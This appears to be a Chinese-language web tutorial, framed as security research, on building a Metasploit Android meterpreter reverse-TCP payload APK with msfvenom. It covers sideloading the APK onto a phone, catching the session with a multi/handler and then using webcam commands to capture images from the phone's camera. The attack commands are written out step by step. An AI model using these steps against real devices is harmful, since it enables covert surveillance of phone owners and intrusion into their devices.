网站搜索

如何使用 Kali Linux 对 Android 手机摄像头进行渗透测试


已有多起关于黑客劫持 Android 手机摄像头来窃听用户或向他们提供虚假图像的新闻报道。作为警报手机的所有者,您可能希望通过评估此类威胁事件的可能性和真实风险来防止这种情况发生。

Kali Linux 是通过渗透测试检查 Android 手机摄像头潜在漏洞的最佳工具之一。它可以帮助您及时发现任何试图远程访问手机摄像头的黑客。

安装漏洞利用负载

要使用 Kali Linux 进行渗透测试,请首先从其官方网站下载它。请参阅此早期教程,了解本练习中将使用的各种术语的定义,例如“msfvenom”、“msfconsole”、“meterpreter”等。

渗透测试的第一步是在设备上安装标准的漏洞利用负载。为此,打开 Kali Linux 终端并输入以下命令:ifconfig。这将为您提供 Kali Linux 会话的 IP 地址。

现在使用上面的 IP 地址输入如下所示的命令。漏洞利用、木马和其他漏洞的端口号通常为 4444。

msfvenom - p android/meterpreter/reverse_tcp L HOST=IP address LPORT=Number R > Payload.apk

在此步骤中,尝试注入基于 Java 解释器的 Metasploit 有效负载。如果成功,渗透测试将帮助您验证您的手机是否容易受到他人监听电话、访问短信、定位用户等的攻击。

在本例中,我们尝试展示如何利用该漏洞来访问手机的摄像头。

一旦漏洞利用启动,名为“Payload”的 APK 文件将被安装在根文件夹中。您需要将其安装在目标 Android 手机上。然而,说起来容易做起来难。大多数较新的 Android 手机和电子邮件将拒绝携带此类恶意软件感染的文件,这是一件好事。

不过,仍然可以通过 USB 电缆或临时文件来实现。如果黑客可以访问您的手机几分钟,那么它就会变得有些脆弱。我们在此渗透测试中的努力是确定所涉及风险的精确程度。

传输后,您需要找到一种方法在手机上安装有效负载文件。除非它是非常旧的 Android 版本,否则您的手机应该会在安装 APK 之前向您发出几个警告。尽管如此,无论 Android 手机版本如何,还有许多其他方法可以在 Android 手机中安装未知来源的应用程序。

启动漏洞利用

要启动上述有效负载漏洞,请插入以下命令:msfconsole。执行命令只需几秒钟,metasploit 就可以准备好对手机摄像头进行进一步的渗透测试。

Metasploit 会给出它自己的完整描述。有效负载摘要也可见。它显示了工作中的漏洞利用数量。

在下一步中,msfconsole 已准备好启动该漏洞。为此,请参阅前面讨论的 IP 地址和端口号 (4444)。因此,输入以下命令:

exploit (multi/handler) > set LHOST "IP Address" [ENTER]
set LPORT "Port number" [ENTER]
exploit [ENTER]

当反向 TCP 处理程序被激活时,您将看到 Meterpreter 启动的各个阶段。等待几秒钟,它会诊断目标手机。

这里必须提到的是,大多数现代 Android 手机将继续拒绝这种访问。请记住这是一个渗透测试。如果您的 Android 手机无法使用这个致命的 APK 文件进行渗透,那么这意味着您的手机制造商已经意识到了这个特定的攻击媒介。

访问 Android 手机的相机

如果您能够成功地将漏洞插入手机中,那么它现在就有可能被渗透。当这种情况发生时,Kali Linux 终端上的“meterpreter”将能够与手机建立连接。此时,插入 help 即可访问受到攻击的 Android 手机内的多个选项。

输入以下命令(从帮助菜单)以访问手机的摄像头。在此漏洞中,尝试访问后置摄像头以从终端拍照。

webcam_list [ENTER]
1. Back camera
2. Front camera [ENTER]
webcam_stream -i 1

要成功完成渗透测试,一旦您能够访问摄像头,请拍摄一张照片并将其保存在 Kali Linux 根文件夹中。您还可以编辑、重命名或删除存储的其他图片。因此,对受测试手机的任何成功渗透都是对真正攻击可能性的警钟,这意味着是时候安装安全补丁了。

在本教程中,您了解了如何从 Kali Linux 终端访问 Android 摄像头以进行渗透测试。

这是一篇安全研究文章。如果您要使用他人的相机进行演示,请务必先获得他们的许可 - 当然,除非这是您自己的手机。不要忘记查看这些 Android 黑客应用程序,以帮助您测试和查找手机中的漏洞

相关文章